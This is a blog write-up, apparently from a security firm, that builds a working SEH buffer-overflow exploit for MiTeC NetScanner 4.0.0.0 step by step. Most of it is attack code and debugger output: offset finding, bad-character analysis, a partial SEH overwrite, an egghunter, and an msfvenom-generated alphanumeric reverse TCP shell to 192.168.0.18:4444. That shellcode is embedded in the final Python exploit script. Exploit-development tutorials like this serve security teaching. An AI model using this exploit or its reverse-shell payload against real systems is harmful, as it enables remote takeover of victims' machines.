Photo by Keagan Henman on Unsplash

Exploiting MiTeC NetScanner

Tricky SEH exploit

By Andres Roldan | July 09, 2020

In this article, we will create an exploit for MiteC NetScanner 4.0.0.0, taking advantage of a vulnerability found some years ago.

The original report can be found here, and the author claims this at the end (sic):

Exploit problem

1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed.
   Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes.

2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000)

3. payload was consisted of  'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes.
   Can't insert shellcode

In this post, we will try to overcome the aforementioned Exploit problems to see if we can come up with a working exploit with something like TCP shell.

Vulnerability

The first thing to do is to identify the vulnerability. According to the author of the original exploit, it seems that there is a buffer overflow in the TOOLS → Detect IP from Host name…​ functionality. Let’s check that:

Vulnerability

Indeed. Now, we can start creating our proof-of-concept exploit:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

PAYLOAD = (
    b'A' * 500
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

From now on, we should open the resulting exploit.txt file and copy/paste the resulting payload to NetScanner. Do that under a debugger to check what’s going on:

SEH Vulnerability

Great. It seems to be an SEH overwrite vulnerability.

Now, we must check at what offset the SEH handler is started to be overwritten. To do that, we can create a cyclic pattern using the Metasploit pattern_create.rb tool:

$ msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Update our exploit with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

PAYLOAD = (
    b'<paste pattern here>'
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

And check it:

SEH Handler Offset

Now, check the offset with the pattern_offset.rb tool:

$ msf-pattern_offset -q 37634136
[*] Exact match at offset 80

Update our exploit with that offset:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

PAYLOAD = (
    b'A' * 80 +
    b'B' * 4 +
    b'C' * 416
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

And check it:

SEH Handler Offset

Great! Now, let’s check for bad chars.

Checking for bad chars

One of the problems mentioned by the original exploit author is that we must encode our shellcode using an alphanumeric encoder. We can verify the bad chars by sending an array with all the possible ASCII chars, excluding some usual suspects (carriage return \x0d and line feed \x0a). First, we must create the array on our debugger, so we can later compare it with our injected payload on memory. This can be done using this command:

!mona bytearray -cpb '\x0a\x0d'

And we can create the same string on our exploit:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

EXCLUDE = ('0xa', '0xd')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

PAYLOAD = (
    b'A' * 80 +
    b'B' * 4 +
    BADCHARS
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

Now, run the updated exploit to inject the resulting payload. We can compare the injected bytes with the in-memory bytes using:

!mona compare -f bytearray-file.bin -a <address start of badchars array on memory>

In our case, that would be:

!mona compare -f c:\mona\NetScanner\bytearray.bin -a 0012F538

And the result is:

[+] Comparing with memory at location : 0x0012f538 (Stack)
Only 171 original bytes of 'normal' code found.
    ,-----------------------------------------------.
    | Comparison results:                           |
    |-----------------------------------------------|
  0 |00 01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11| File
    |20                                             | Memory
 10 |12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21| File
    |                                               | Memory
 20 |22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31| File
    |                                               | Memory
 30 |32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41| File
    |                                               | Memory
 40 |42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51| File
    |                                               | Memory
 50 |52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61| File
    |                                               | Memory
 60 |62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71| File
    |                                               | Memory
 70 |72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81| File
    |                                               | Memory
 80 |82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91| File
    |                                               | Memory
 90 |92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1| File
    |                                               | Memory
 a0 |a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1| File
    |                                 00 0a 80 00 00| Memory
 b0 |b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1| File
    |80 f6 12 00 e1 d1 76 74 00 00 00 00 00 00 00 00| Memory
 c0 |c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1| File
    |00 00 00 00 00 00 00 00 04 3a fd bb 30 f6 12 00| Memory
 d0 |d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1| File
    |   f8 da 75 08 01 19 00 15 02 00 00 00 00 00 00| Memory
 e0 |e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1| File
    |00 00 00 00 15 02 00 00 cd ab ba dc 00 00 00 00| Memory
 f0 |f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff      | File
    |80 f6 12 00 15 02 00 00 a8 f6 12 00 5c f6      | Memory
    `-----------------------------------------------'

It seems that the only mangling occurred at the 00 byte that was modified to 20. Also, it seems that the buffer was dropped after AC. We can inject the other part of the ASCII array to check that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

EXCLUDE = ('0xa', '0xd')
BADCHARS = bytes(bytearray([x for x in range(172, 256) if hex(x) not in EXCLUDE]))

PAYLOAD = (
    b'A' * 80 +
    b'B' * 4 +
    BADCHARS
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

The result is:

Badchars

And the comparison table result is:

Badchars 2

Well, it seems that after all, only the 0x00, 0x0a and 0x0d chars are not allowed. Not bad.

Exploiting

Now that we know the nature of the vulnerability, we can start the actual exploitation. The first thing to do is check if NetScanner has executable modules without SafeSEH enabled. To do that, we can use the following mona command:

!mona modules -cm safeseh=off

And the result is:

SafeSEH modules

It seems that the only module compiled without SafeSEH is the executable itself. However, as you can see in the Base address, it starts with 00, which means that when we inject it, it would be translated to 20, according to the bad chars analysis we just did. Let’s check that anyway.

First, let’s find suitable POP/POP/RET sequences with:

!mona seh -cm safeseh=off
POP/POP/RET

At least we have a lot. I’ll pick the first one at 00407119:

POP/POP/RET

Update our exploit with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""
import struct

PAYLOAD = (
    b'A' * 80 +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    struct.pack('<L', 0x00407119) +
    b'C' * 416
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

And check it:

Mangled NULL byte

Look carefully at the resulting stack state:

Mangled NULL byte

Several things are important to notice:

  1. The 00 byte on our POP/POP/RET sequence was mangled and changed to 20, as expected.

  2. The application somehow overwrites part of the A chars with 0 at nSEH-8.

  3. The C buffer seems unaffected.

Now check the end of the C buffer:

Mangled NULL byte

We can see that there are some 00 bytes here, probably left-overs of the affected function stack frame. We can leverage those 00 to get our desired POP/POP/RET address.

3-byte overwrite

To overcome the problem of the NULL byte mangling, we can do a partial overwrite of the SEH handler. What we first did was:

=>  \x41\x41\x41\x41\x41\x41...   \x41\x41\x41\x41  \x19\x71\x40\x00   \x43...
  ._____________________________.__________________.__________________.________.
          Overflowed var                nSEH           SEH Handler      C buff

And that’s where our \x00 byte was changed to 0x20. Let’s check what would happen if we write only 3 bytes of the POP/POP/RET address, like this:

=>  \x41\x41\x41\x41\x41\x41...   \x41\x41\x41\x41  \x19\x71\x40
  ._____________________________.__________________.__________________.
          Overflowed var                nSEH           SEH Handler

Update our exploit:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

PAYLOAD = (
    b'A' * 80 +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    b'\x19\x71\x40'
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

And check it:

3-byte overwrite

Awesome! We used the stack left-overs to complete our POP/POP/RET address.

Now, if we run the POP/POP/RET sequence, we would land at nSEH which is only 4 bytes:

POP/POP/RET

And as we don’t have any bytes after the SEH handler, we must jump back to the start of our A buffer. With the help of our debugger, we can get the needed bytes EB B4. We can update our nSEH with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

PAYLOAD = (
    b'A' * 76 +
    # nSEH
    b'\xeb\xb4\x41\x41' +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    b'\x19\x71\x40'
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

And check it:

Jump back

Great! We now have 61 bytes to work.

Alternate ending: Egghunter

With 61 bytes, we have some room to work. The first thing that comes to mind is the use of an egghunter. Let’s do that.

We first must create the egghunter. I will use the egg osce this time:

$ msf-egghunter -e osce -f python -v EGGHUNTER
EGGHUNTER =  b""
EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"
EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Update our exploit with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

EGGHUNTER =  b""
EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"
EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

PAYLOAD = (
    # Initial padding
    b'A' * 8 +
	EGGHUNTER +
    b'A' * (76 - 8 - len(EGGHUNTER)) +
    # nSEH
    b'\xeb\xb4\x41\x41' +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    b'\x19\x71\x40'
)

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

And check it:

Egghunter

Great. The egghunter is now ready, but there is nothing to hunt. We must create a shellcode, place it anywhere on memory and prepend it with our osceosce egg. But where?

After some analysis of NetScanner, I discovered a functionality called Remote Execute…​ on where several parameters are needed, but there is one called Command line that accepts long alphanumeric strings. To our favor, when we type something, it stays on memory:

Remote execute

Let’s check if we can use that field to insert our shellcode. First, we must create an alphanumeric shellcode:

$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -f raw -e x86/alpha_mixed BufferRegister=EDI
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 702 (iteration=0)
x86/alpha_mixed chosen with final size 702
Payload size: 702 bytes
WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylyxmREPuPc0CPoyYutqkpPdlKrptpnk1B6lLK1BFtNkCBdhVonWaZTfVQkOLlWLcQ1lS2VLUpzajovmwqKwIr8rrr1GnkBrTPLKRjgLLKrlR1ahHcCxS18QsankPY5p5QXSNkpIUHIsGJBiLKFTlKwqiFFQkOLlJaxO4MeQO708ip2UyfVccMxxGKcMUtt5ytqHNkv8a4318SSVnk6lpKlKBxgl7q8SlK4DLK7qJpMYG4UtEtSkskQqv92z0QyoipaOSocjlKVrXknmCmCXUcfRS0EPaxD7PsTrSoaD0hpLRW5vVgYozulxNp5QeP7p6IiTrtbpsXWYmP0k5PkOiEV0BpRpv0g00P3p0PsXZJ6oKoYpkOjuogPjeUe8o0y8eP7b0huRGpga1LMYM60jvprv3gaxLYy5SD1qKOHUk5iPd4TLKOrnFhrUHlBHjPMenBV6kOxUaxsS2McT7poyis0Wsgv7eakFrJWbSiRvyrImU6kwW4fD7LWqc1lMctddvpjfgppDqDpPrvPV1FaV2vRn66aFpSpVaxT9ZlUoMV9oXUlIypPNBvSvIotpqx5XMW5MCPyoYEmklj8E9raMCXlfnummomyoYEelEVQl7zMPykIpRUveoK3wGcT2RO0j30BskOxUAA

Notice that I used the BufferRegister=EDI parameter because EDI is the register on where our egghunter will point the start of the shellcode. Let’s update our exploit with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/web/blog/netscan-exploit/
"""

EGGHUNTER =  b""
EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"
EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

SHELL = (
    b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIyl'
    b'yxmREPuPc0CPoyYutqkpPdlKrptpnk1B6lLK1BFtNkCBdhVonWaZTf'
    b'VQkOLlWLcQ1lS2VLUpzajovmwqKwIr8rrr1GnkBrTPLKRjgLLKrlR1'
    b'ahHcCxS18QsankPY5p5QXSNkpIUHIsGJBiLKFTlKwqiFFQkOLlJaxO'
    b'4MeQO708ip2UyfVccMxxGKcMUtt5ytqHNkv8a4318SSVnk6lpKlKBx'
    b'gl7q8SlK4DLK7qJpMYG4UtEtSkskQqv92z0QyoipaOSocjlKVrXknm'
    b'CmCXUcfRS0EPaxD7PsTrSoaD0hpLRW5vVgYozulxNp5QeP7p6IiTrt'
    b'bpsXWYmP0k5PkOiEV0BpRpv0g00P3p0PsXZJ6oKoYpkOjuogPjeUe8'
    b'o0y8eP7b0huRGpga1LMYM60jvprv3gaxLYy5SD1qKOHUk5iPd4TLKO'
    b'rnFhrUHlBHjPMenBV6kOxUaxsS2McT7poyis0Wsgv7eakFrJWbSiRv'
    b'yrImU6kwW4fD7LWqc1lMctddvpjfgppDqDpPrvPV1FaV2vRn66aFpS'
    b'pVaxT9ZlUoMV9oXUlIypPNBvSvIotpqx5XMW5MCPyoYEmklj8E9raM'
    b'CXlfnummomyoYEelEVQl7zMPykIpRUveoK3wGcT2RO0j30BskOxUAA'
)

PAYLOAD = (
    # Initial padding
    b'A' * 8 +
	EGGHUNTER +
    b'A' * (76 - 8 - len(EGGHUNTER)) +
    # nSEH
    b'\xeb\xb4\x41\x41' +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    b'\x19\x71\x40'
)

print('[*] Please, paste the following text on:')
print('[*] TOOLS -> Remote Execute... -> Command line')
print('')
print(f'osceosce{SHELL.decode()}')
print('')
print('[*] Now paste the exploit payload.')

with open('exploit.txt', 'wb') as fd:
	fd.write(PAYLOAD)

Note that I included some instructions. Also, I included osceosce at the start of the shellcode. Let’s check it:

Success

Awesome!

We were able to overcome all the original exploit problems.

You can download the final exploit here.

Conclusion

Sometimes, we need to be creative when creating our exploits. In this article, we were able to leverage stack left-overs and other functionalities of the vulnerable application to get a fully working exploit.

Copyright © 2020 Fluid Attacks, We hack your software. All rights reserved.

Service status - Terms of Use - Privacy Policy - Cookie Policy